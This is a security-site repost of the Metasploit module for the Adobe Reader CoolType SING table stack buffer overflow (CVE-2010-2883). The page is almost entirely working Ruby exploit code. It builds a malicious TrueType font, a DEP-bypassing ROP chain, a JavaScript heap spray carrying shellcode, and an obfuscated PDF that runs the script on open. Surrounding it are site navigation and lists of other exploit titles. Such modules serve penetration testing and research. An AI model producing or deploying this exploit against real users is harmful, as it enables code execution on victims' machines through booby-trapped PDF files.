首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow(meta)
来源:http://www.metasploit.com 作者:vicheck 发布时间:2010-09-09  
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
				handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
				assumed to be vulnerable as well.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Unknown',    # 0day found in the wild
					'@sn0wfl0w',  # initial analysis
					'@neox_fx',   # initial analysis
					'@vicheck',   # initial analysis
					'jduck'       # Metasploit module
				],
			'Version'        => '$Revision
, 'References' => [ [ 'CVE', '2010-2883' ], [ 'OSVDB', '67849'], [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ], [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd [ 'Automatic', { }], ], 'DisclosureDate' => 'Sep 07 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), ], self.class) end def exploit ttf_data = make_ttf() js_data = make_js(payload.encoded) # Create the pdf pdf = make_pdf(ttf_data, js_data) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def make_ttf ttf_data = "" # load the static ttf file # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20) path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" ) fd = File.open( path, "rb" ) ttf_data = fd.read(fd.stat.size) fd.close # Build the SING table sing = '' sing << [ 0, 1, # tableVersionMajor, tableVersionMinor (0.1) 0xe01, # glyphletVersion 0x100, # embeddingInfo 0, # mainGID 0, # unitsPerEm 0, # vertAdvance 0x3a00 # vertOrigin ].pack('vvvvvvvv') # uniqueName # "The uniqueName string must be a string of at most 27 7-bit ASCII characters" sing << "A" * (0x254 - sing.length) # 0xffffffff gets written here @ 0x7001400 (in BIB.dll) sing[0x140, 4] = [0x08231060 - 0x1c].pack('V') # This becomes our new EIP (puts esp to stack buffer) ret = 0x81586a5 # add ebp, 0x794 / leave / ret sing[0x208, 4] = [ret].pack('V') # This becomes the new eip after the first return ret = 0x806c57e sing[0x18, 4] = [ret].pack('V') # This becomes the new esp after the first return esp = 0x0c0c0c0c sing[0x1c, 4] = [esp].pack('V') # Without the following, sub_801ba57 returns 0. sing[0x24c, 4] = [0x6c].pack('V') ttf_data[0xec, 4] = "SING" ttf_data[0x11c, sing.length] = sing #File.open("/tmp/woop.ttf", "wb") { |fd| fd.write(ttf_data) } ttf_data end def make_js(encoded_payload) # The following executes a ret2lib using BIB.dll # The effect is to bypass DEP and execute the shellcode in an indirect way stack_data = [ 0xc0c0c0c, 0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret 0xcccccccc, 0x70048ef, # xchg eax,esp / ret 0x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8] 0xcccccccc, 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009033, # ret 0x18 0x7009084, # ret 0xc0c0c0c, 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7009084, # ret 0x7001599, # pop ebp / ret 0x10124, 0x70072f7, # pop eax / ret 0x10104, 0x70015bb, # pop ecx / ret 0x1000, 0x700154d, # mov [eax], ecx / ret 0x70015bb, # pop ecx / ret 0x7ffe0300, # -- location of KiFastSystemCall 0x7007fb2, # mov eax, [ecx] / ret 0x70015bb, # pop ecx / ret 0x10011, 0x700a8ac, # mov [ecx], eax / xor eax,eax / ret 0x70015bb, # pop ecx / ret 0x10100, 0x700a8ac, # mov [ecx], eax / xor eax,eax / ret 0x70072f7, # pop eax / ret 0x10011, 0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?) 0x7005c54, # pop esi / add esp,0x14 / ret 0xffffffff, 0x10100, 0x0, 0x10104, 0x1000, 0x40, # The next bit effectively copies data from the interleaved stack to the memory # pointed to by eax # The data copied is: # \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83 # \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff # \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90 0x700d731, # mov eax, [ebp-0x24] / ret 0x70015bb, # pop ecx / ret 0x9054905a, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x5815eb5a, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x18891a8b, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x8304c083, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0xfb8104c2, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0xc0c0c0c, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x5ebee75, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0xffffe6e8, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x909090ff, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x90909090, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x90909090, 0x700154d, # mov [eax], ecx / ret 0x700a722, # add eax, 4 / ret 0x70015bb, # pop ecx / ret 0x90ffffff, 0x700154d, # mov [eax], ecx / ret 0x700d731, # mov eax, [ebp-0x24] / ret 0x700112f # call eax -- (execute stub to transition to full shellcode) ].pack('V*') var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) var_s = 0x10000 var_c = rand_text_alpha(rand(100) + 1) var_b = rand_text_alpha(rand(100) + 1) var_d = rand_text_alpha(rand(100) + 1) var_3 = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) var_4 = rand_text_alpha(rand(100) + 1) payload_buf = '' payload_buf << stack_data payload_buf << encoded_payload escaped_payload = Rex::Text.to_unescape(payload_buf) js = %Q| var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' ); var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c}; #{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2); #{var_b} += #{var_shellcode}; #{var_b} += #{var_c}; #{var_d} = #{var_b}.substring(0, #{var_s}/2); while(#{var_d}.length < 0x80000) #{var_d} += #{var_d}; #{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2); var #{var_4} = new Array(); for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; | js end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj \n" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) #return str result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(ttf, js) #swf_name = rand_text_alpha(8 + rand(8)) + ".swf" xref = [] eol = "\n" endobj = "endobj" << eol # Randomize PDF version? pdf = "%PDF-1.5" << eol pdf << "%" << RandomNonASCIIString(4) << eol # catalog xref << pdf.length pdf << ioDef(1) << nObfu("<<") << eol pdf << nObfu("/Pages ") << ioRef(2) << eol pdf << nObfu("/Type /Catalog") << eol pdf << nObfu("/OpenAction ") << ioRef(11) << eol pdf << nObfu(">>") << eol pdf << endobj # pages array xref << pdf.length pdf << ioDef(2) << nObfu("<<") << eol pdf << nObfu("/MediaBox ") << ioRef(3) << eol pdf << nObfu("/Resources ") << ioRef(4) << eol pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol pdf << nObfu("/Count 1") << eol pdf << nObfu("/Type /Pages") << eol pdf << nObfu(">>") << eol pdf << endobj # media box xref << pdf.length pdf << ioDef(3) pdf << "[0 0 595 842]" << eol pdf << endobj # resources xref << pdf.length pdf << ioDef(4) pdf << nObfu("<<") << eol pdf << nObfu("/Font ") << ioRef(6) << eol pdf << ">>" << eol pdf << endobj # page 1 xref << pdf.length pdf << ioDef(5) << nObfu("<<") << eol pdf << nObfu("/Parent ") << ioRef(2) << eol pdf << nObfu("/MediaBox ") << ioRef(3) << eol pdf << nObfu("/Resources ") << ioRef(4) << eol #pdf << nObfu("/MediaBox [0 0 640 480]") #pdf << "<<" #if true # pdf << nObfu("/ProcSet [ /PDF /Text ]") << eol # pdf << nObfu("/Font << /F1 ") << ioRef(8) << nObfu(">>") << eol #end #pdf << nObfu(">>") << eol # end resources pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol #pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]") << eol pdf << nObfu("/Type /Page") << eol pdf << nObfu(">>") << eol # end obj dict pdf << endobj # font xref << pdf.length pdf << ioDef(6) << nObfu("<<") << eol pdf << nObfu("/F1 ") << ioRef(7) << eol pdf << ">>" << eol pdf << endobj # ttf object xref << pdf.length pdf << ioDef(7) << nObfu("<<") << eol pdf << nObfu("/Type /Font") << eol pdf << nObfu("/Subtype /TrueType") << eol pdf << nObfu("/Name /F1") << eol pdf << nObfu("/BaseFont /Cinema") << eol #pdf << nObfu("/FirstChar 0") #pdf << nObfu("/LastChar 255") pdf << nObfu("/Widths []") << eol #256.times { # pdf << "%d " % rand(256) #} #pdf << "]" << eol pdf << nObfu("/FontDescriptor ") << ioRef(9) pdf << nObfu("/Encoding /MacRomanEncoding") #pdf << nObfu("/FontBBox [-177 -269 1123 866]") #pdf << nObfu("/FontFile2 ") << ioRef(9) pdf << nObfu(">>") << eol pdf << endobj # page content content = "Hello World!" content = "" + "0 g" + eol + "BT" + eol + "/F1 32 Tf" + eol + #" 10 10 Td" + eol + "32 Tc" + eol + "1 0 0 1 32 773.872 Tm" + eol + #"2 Tr" + eol + "(" + content + ") Tj" + eol + "ET" xref << pdf.length pdf << ioDef(8) << "<<" << eol pdf << nObfu("/Length %s" % content.length) << eol pdf << ">>" << eol pdf << "stream" << eol pdf << content << eol pdf << "endstream" << eol pdf << endobj # font descriptor xref << pdf.length pdf << ioDef(9) << nObfu("<<") pdf << nObfu("/Type/FontDescriptor/FontName/Cinema") pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17)) pdf << nObfu("/FontBBox [-177 -269 1123 866]") pdf << nObfu("/FontFile2 ") << ioRef(10) pdf << nObfu(">>") << eol pdf << endobj # ttf stream xref << pdf.length pdf << ioDef(10) << nObfu("<</Length %s /Length1 %s>>" % [ttf.length, ttf.length]) << eol pdf << "stream" << eol pdf << ttf << eol pdf << "endstream" << eol pdf << endobj # js action xref << pdf.length pdf << ioDef(11) << nObfu("<<") pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12) pdf << nObfu(">>") << eol pdf << endobj # js stream xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj # trailing stuff xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << eol pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol pdf end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Java RMIConnectionImpl Deseria
·FreeBSD 8.1/7.3 vm.pmap Kernel
·Mozilla Firefox XSLT Sort Remo
·Microsoft Office Visio DXF Fil
·Acoustica MP3 Audio Mixer 2.47
·Internet Explorer Dll Hijackin
·Audiotran 1.4.2.4 SEH Overflow
·SeaMonkey DLL Hijacking (dwmap
·CS Cart 1.3.3 - Install.php XS
·ASPired2Count File Disclosure
·Process Hacker Dll Hijacking E
·Safari v5.0.1 DLL Hijacking (s
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved